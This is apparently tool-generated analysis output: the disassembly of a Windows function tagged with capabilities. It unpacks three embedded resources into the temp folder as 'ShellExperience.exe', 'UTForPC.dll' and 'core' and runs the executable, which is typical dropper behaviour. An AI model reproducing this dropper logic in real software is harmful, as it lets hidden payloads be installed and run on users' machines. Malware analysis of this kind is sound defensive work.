Function at 0x100012e0
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x180
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov edi, ecx
push 0
push eax
mov dword [ebp - 0x170], edi
call fcn.100026c0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0x10012d04
push 0x65
push edi
call esi
push 0x10012d08
push 0x66
push edi
mov dword [ebp - 0x174], eax
call esi
push str.CORE
push 0x67
mov ebx, eax
push edi
mov dword [ebp - 0x164], ebx
call esi
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x174]
test eax, eax
je 0x10001697
test ebx, ebx
je 0x10001697
mov esi, dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
push edi
call esi
push dword [ebp - 0x164]
mov ebx, eax
push edi
call esi
push dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push ebx
call esi
push dword [ebp - 0x16c]
mov dword [ebp - 0x178], eax
call esi
push edi
mov dword [ebp - 0x17c], eax
call esi
mov edi, dword [ebp - 0x170]
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x174]
push eax
push edi
call esi
push dword [ebp - 0x164]
mov dword [ebp - 0x170], eax
push edi
call esi
push dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
push edi
call esi
push 0x104
mov dword [ebp - 0x168], eax
call fcn.10004651
push 0x104
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x164], ebx
call fcn.100026c0
lea ecx, [ebp - 0x108]
mov edx, ebx
mov eax, ecx
add esp, 0x10
sub edx, eax
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10001430
lea ecx, [ebx - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001440
mov eax, dword [str.ShellExperience.exe]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov dword [ecx], eax
mov eax, dword [0x10012cec]
push 0x80
push 2
mov dword [ecx + 4], eax
mov eax, dword [0x10012cf0]
push 0
mov dword [ecx + 8], eax
mov eax, dword [0x10012cf4]
push 0
mov dword [ecx + 0xc], eax
mov eax, dword [0x10012cf8]
push 0x40000000
push ebx
mov dword [ecx + 0x10], eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x10001697
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x10c]
push 0
push eax
push dword [ebp - 0x170]
mov dword [ebp - 0x10c], 0
push dword [ebp - 0x178]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
call fcn.10004651
push 0x104
mov esi, eax
push 0
push esi
call fcn.100026c0
lea ecx, [ebp - 0x108]
mov edx, esi
mov eax, ecx
add esp, 0x10
sub edx, eax
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100014f5
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001505
mov eax, dword [str.UTForPC.dll]
push 0
push 0x80
push 2
push 0
mov dword [ecx], eax
mov eax, dword [0x10012ce0]
push 0
mov dword [ecx + 4], eax
mov eax, dword [0x10012ce4]
push 0x40000000
push esi
mov dword [ecx + 8], eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x10001697
push 0
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0
push eax
push dword [ebp - 0x16c]
push dword [ebp - 0x17c]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
call fcn.10004651
push 0x104
mov esi, eax
push 0
push esi
call fcn.100026c0
lea ecx, [ebp - 0x108]
mov edx, esi
mov eax, ecx
add esp, 0x10
sub edx, eax
nop
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100015a0
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100015b0
mov eax, dword [str.core]
push 0
push 0x80
push 2
push 0
push 0
mov dword [ecx], eax
mov al, byte [0x10012d00]
push 0x40000000
push esi
mov byte [ecx + 4], al
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x10001697
push 0
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0
push eax
push dword [ebp - 0x168]
push dword [ebp - 0x180]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x160]
mov dword [ebp - 0x150], 0x44
push eax
lea eax, [ebp - 0x150]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x164]
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
movlpd qword [ebp - 0x124], xmm0
movlpd qword [ebp - 0x11c], xmm0
movlpd qword [ebp - 0x114], xmm0
movups xmmword [ebp - 0x160], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x10001695
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100016ca
mov esp, ebp
pop ebp
ret